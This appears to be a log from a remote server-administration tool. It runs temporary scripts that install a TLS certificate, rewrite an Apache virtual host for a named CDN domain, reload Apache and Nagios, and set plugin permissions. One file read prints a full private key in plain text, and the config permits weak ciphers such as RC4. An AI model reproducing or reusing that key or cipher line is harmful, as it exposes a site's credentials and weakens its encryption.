4gR97Cpo8nbzin7i6SCHjaTdsUM3HlCF+4Sc0dIPRXFZnnE8DVoKSKiWxCWLrWoD
03jEx02CoXgGcj+Piro6w3PN
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-18 06:00:19: 

chmod 755 /tmp/pkp351719; /tmp/pkp351719; rm /tmp/pkp351719

2025-10-18 06:00:19: 


dir=/etc/ssl/certs


2025-10-18 06:00:19: 

PUT: /tmp/pkp972645

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-18 06:00:20: 

chmod 755 /tmp/pkp972645; /tmp/pkp972645; rm /tmp/pkp972645

2025-10-18 06:00:20: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf 48

<VirtualHost *:80>
    ServerName	cdn4.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/mnt/internal/CDN
    <Directory /mnt/internal/CDN>
        Options	+FollowSymLinks -MultiViews
        Require	all granted
        AllowOverride	All
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn4_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn4_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn4.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt
    DocumentRoot	/mnt/internal/CDN
    <Directory /mnt/internal/CDN>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn4_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn4_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-10-18 06:00:20: 

PUT: /tmp/pkp554553

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_cdn4_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	cdn4.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/mnt/internal/CDN
    <Directory /mnt/internal/CDN>
        Options	+FollowSymLinks -MultiViews
        Require	all granted
        AllowOverride	All
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn4_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn4_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn4.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt
    DocumentRoot	/mnt/internal/CDN
    <Directory /mnt/internal/CDN>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn4_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn4_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf= 1'
fi


2025-10-18 06:00:20: 

chmod 755 /tmp/pkp554553; /tmp/pkp554553; rm /tmp/pkp554553

2025-10-18 06:00:21: 




2025-10-18 06:00:21: 

PUT: /tmp/pkp858674

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-18 06:00:21: 

chmod 755 /tmp/pkp858674; /tmp/pkp858674; rm /tmp/pkp858674

2025-10-18 06:00:21: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-18 06:00:21: Establishing a connection
2025-10-18 06:00:22: 

PUT: /tmp/pkp244666

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-18 06:00:23: 

chmod 755 /tmp/pkp244666; /tmp/pkp244666; rm /tmp/pkp244666

2025-10-18 06:00:23: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:2)
         port 80 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:2)
         port 80 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:2)
*:443                  is a NameVirtualHost
         default server cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:19)
         port 443 namevhost cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:19)
         port 443 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:18)
         port 443 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:19)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:22)
         port 443 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:18)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-18 06:00:23: 

PUT: /tmp/pkp410289

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-18 06:00:24: 

chmod 755 /tmp/pkp410289; /tmp/pkp410289; rm /tmp/pkp410289

2025-10-18 06:00:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf	1172

<VirtualHost *:80>
    ServerName	cdn4.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/mnt/internal/CDN
    <Directory /mnt/internal/CDN>
        Options	+FollowSymLinks -MultiViews
        Require	all granted
        AllowOverride	All
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn4_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn4_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn4.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt
    DocumentRoot	/mnt/internal/CDN
    <Directory /mnt/internal/CDN>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn4_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn4_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-10-18 06:00:24: 

PUT: /tmp/pkp433954

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-18 06:00:24: 

chmod 755 /tmp/pkp433954; /tmp/pkp433954; rm /tmp/pkp433954

2025-10-18 06:00:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt	5377
52:ee:a9:da:9a:09:76:d2:ad:ca:a0:00:c6:13:1f:26

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBhGgbknroABevVk74Mt1KEqjMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDE4MDUwMTQ1WhcNMjYwMTE2MDUwMTQ0WjAjMSEwHwYDVQQD
ExhjZG40LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDOYfnD6CxpaoRQnLzcDjTsAhoisPZzQQub1V++J75T+i/d8ZK7
aZbpII3EuF1Bk/BFGqtqgfks//0eszBTVy1CTA0Ia7zzvo3w8DkJm2Wg+pyJYftW
5LyUplTcUlRAtyYCjQU2r1mUTokjPMu6/AO1xvB1+5GTugNmInG8FoWwd1Tjpjf9
ARHyDk6Pr9fDWMZ5vDXwV/CxPbd+5xkbSXr/YIR4oCedXD98KeZkEU+KQeidVvPm
d+nPqyxK9w+Hhr/j6grs+OC9MEH1CelZnWoxjO0O0xaZPJw9ZKBXkecXX2xgZVWm
2duVchyYFphk3efQcCP1ybBcBLLEIhVVOVQPAgMBAAGjggIqMIICJjAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFIK8wO88oNcbv0l+Z53uv9YPAJHGMB8GA1UdIwQYMBaA
FOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYY2RuNC5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMzYuY3JsMIIBBgYKKwYBBAHW
eQIEAgSB9wSB9ADyAHcASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMA
AAGZ9eeGrwAABAMASDBGAiEA1cz2RaKGpcNhWMNsoZx0ZYKoZTkudJyKecI3x0BV
L2MCIQCUcUa/Gl3POnpu+JzO10GAzdWqaZnYXiGVrzZbRzfH5gB3AJaXZL9VWJet
90OHaDcIQnfp8DrV9qTzNm5GpD8PyqnGAAABmfXnhuwAAAQDAEgwRgIhAMJFITHg
ZSuRYKirxd1bBK5+DLIgOwYeOkVepkFM4ZsAAiEAgb1/OWMNMTPnhnUZLYsd2bx9
yTdq/1lsrsUGo+Hi9pkwDQYJKoZIhvcNAQELBQADggEBAKM6WkCnKhx0Fq4hMLwC
VlmSAOs87WEy/efGAW3Jjbza9ZkLKUUkyX96VEFi/cokU47nGDYj2vu1vlrxpmGM
8Edj0EowLRkkVWYqeY+MDx3cFuPszdnO/UOW6162nRG5ct+sipKMXTCkfYgWKqIz
LvwJvmNd1k+dgSEuMG7jWTvs0wGbjTizHd+br3UnZqjjjXccVTyObslH5tEPrRyh
6Gy5llrArR9Gmp+SE1D4dKOyUWaqXWivPxs3HlVz0eLNVe5PoY3IAbrRWDz4cApo
FDJbUwOCRNi7FobehoVgnwai3/9IjEYRP1NvVnpwhiYd16DCE79dZ63+zA52Eeo/
JvQ=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDOYfnD6CxpaoRQ
nLzcDjTsAhoisPZzQQub1V++J75T+i/d8ZK7aZbpII3EuF1Bk/BFGqtqgfks//0e
szBTVy1CTA0Ia7zzvo3w8DkJm2Wg+pyJYftW5LyUplTcUlRAtyYCjQU2r1mUTokj
PMu6/AO1xvB1+5GTugNmInG8FoWwd1Tjpjf9ARHyDk6Pr9fDWMZ5vDXwV/CxPbd+
5xkbSXr/YIR4oCedXD98KeZkEU+KQeidVvPmd+nPqyxK9w+Hhr/j6grs+OC9MEH1
CelZnWoxjO0O0xaZPJw9ZKBXkecXX2xgZVWm2duVchyYFphk3efQcCP1ybBcBLLE
IhVVOVQPAgMBAAECggEAViZl2VZoe5SgKPpUh9NSWhZCjKqsJc5IJ0O5lKoIdAui
wZXet2bLPQN+ylhfbUlw6ZfJaEtbFWLCaXdJO/DPDraqVhKLLIAlxiaw2IbKtJkI
kPyaq1oOMksAb3vaea06K6RsQbiOvy7NZi0xqhsa/V1O8SETUsQ6OP811Nrd8ZwO
ctDw0rpYhZ4ef/YGW6D0lsODxY8FnHVtJutjGgjOE+030P67+Rwp9o6FQB1z8Vuq
IXr3FaMtXvje/U12d1gKhU9DW2LjADoqFuGEbw39FIGe479q42IdVZfv5uQl397A
Tcy6qh1o/SRO7TSbPHntaWWSY6UnvSStab6kIdIu+QKBgQDwz35NOs7drl4uQTFv
dCi3Hn8D7D+1O/dV2ILFfOg0btvsPAfFUAjQMBTC1Oy3Vuf8ubcvdwXAv3zFtK5C
CSwLeQbv5X1W43R6lRwoZ6V6kxLsk8VN6L0u4POtx7RbFeXy2dm/oDgJ/xUgrq7N
U0e3KcRidqWP8ZmcwffzePlg3QKBgQDbZo6ABI9IiwG76nklOhLfAe19iq4FK1bH
pW6vetJHXy5divrf5ztIHnC3NYuV3Oh0QiCLHQxp2tliy6gh3WfVvx5HG4ZL2FGm
S234fMlq2L2ga3+WQyvPGJ9/aDdWMtJJmXAxCdwd1EMP+rPzq9Q22iqyHEfeoL7Z
8ksXZ0Zj2wKBgEXCRftHYu/S+FN77T81LipF+lN/l8D/mxnSO6fMFFREHQ9lIHcn
RTZSB2GdXumJknCiuA9W8mKw1gtL2QMmNw0nxTuvhkyqXW65TUvjIovMmTnRYOG9
3zf6UHzyEiwkvtVICI07c6BptYwfLmIqkubbgZlod3OocHB5vENasxs9AoGBALaK
wp8yrAAgX8X4lOjrQ442LWFZg+YbI+2h79CisNffElWT751g5wrfAMr+CvAaR3GL
H0Z/Wbes9VdkuLPMYbsOc2OYPAlYpr5kXc/0CyURxdv19MaRhp6dDv9TN09Jo3rG
5fh3CqPq2g0uepCPc1Zb+FAOhaFuPrxZAi8rpv4nAoGBAJNnemH52tolt3xblboh
rWamEyqNMdehELMKz8ULnMiMy3HGK3QzQNzFaTvS6+FAt74FM9ybJN+a270hnwmg
4gR97Cpo8nbzin7i6SCHjaTdsUM3HlCF+4Sc0dIPRXFZnnE8DVoKSKiWxCWLrWoD
03jEx02CoXgGcj+Piro6w3PN
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-10-18 12:29:46: Establishing a connection
2025-10-18 12:29:46: Establishing a connection
2025-10-18 12:29:46: 

PUT: /tmp/pkp449897

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-18 12:29:46: 

chmod 755 /tmp/pkp449897; /tmp/pkp449897; rm /tmp/pkp449897

2025-10-18 12:29:46: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	629
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2025-10-18 12:29:46: 

systemctl reload nagios

2025-10-18 12:29:46: 




2025-10-18 12:29:47: 

PUT: /tmp/pkp822013

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-10-18 12:29:47: 

chmod 755 /tmp/pkp822013; /tmp/pkp822013; rm /tmp/pkp822013

2025-10-18 12:29:47: 


ok


2025-10-18 12:29:47: 

PUT: /tmp/pkp164672

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok


2025-10-18 12:29:47: 

chmod 755 /tmp/pkp164672; /tmp/pkp164672; rm /tmp/pkp164672

2025-10-18 12:29:47: 


ok


2025-10-18 12:29:47: 

PUT: /tmp/pkp637635

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok


2025-10-18 12:29:47: 

chmod 755 /tmp/pkp637635; /tmp/pkp637635; rm /tmp/pkp637635

2025-10-18 12:29:47: 


ok


2025-10-18 12:29:47: 

PUT: /tmp/pkp449496

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-10-18 12:29:47: 

chmod 755 /tmp/pkp449496; /tmp/pkp449496; rm /tmp/pkp449496

2025-10-18 12:29:47: 


ok


2025-10-18 12:29:47: 

PUT: /tmp/pkp330885

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_autoupdate.php'
echo ok


2025-10-18 12:29:47: 

chmod 755 /tmp/pkp330885; /tmp/pkp330885; rm /tmp/pkp330885

2025-10-18 12:29:47: 


ok


2025-10-18 12:29:47: 

PUT: /tmp/pkp593920

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok


2025-10-18 12:29:47: 

chmod 755 /tmp/pkp593920; /tmp/pkp593920; rm /tmp/pkp593920

2025-10-18 12:29:47: 


ok


2025-10-18 12:29:47: 

PUT: /tmp/pkp944920

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-10-18 12:29:47: 

chmod 755 /tmp/pkp944920; /tmp/pkp944920; rm /tmp/pkp944920

2025-10-18 12:29:47: 


ok


2025-10-18 12:29:47: 

PUT: /tmp/pkp913647

#!/bin/bash
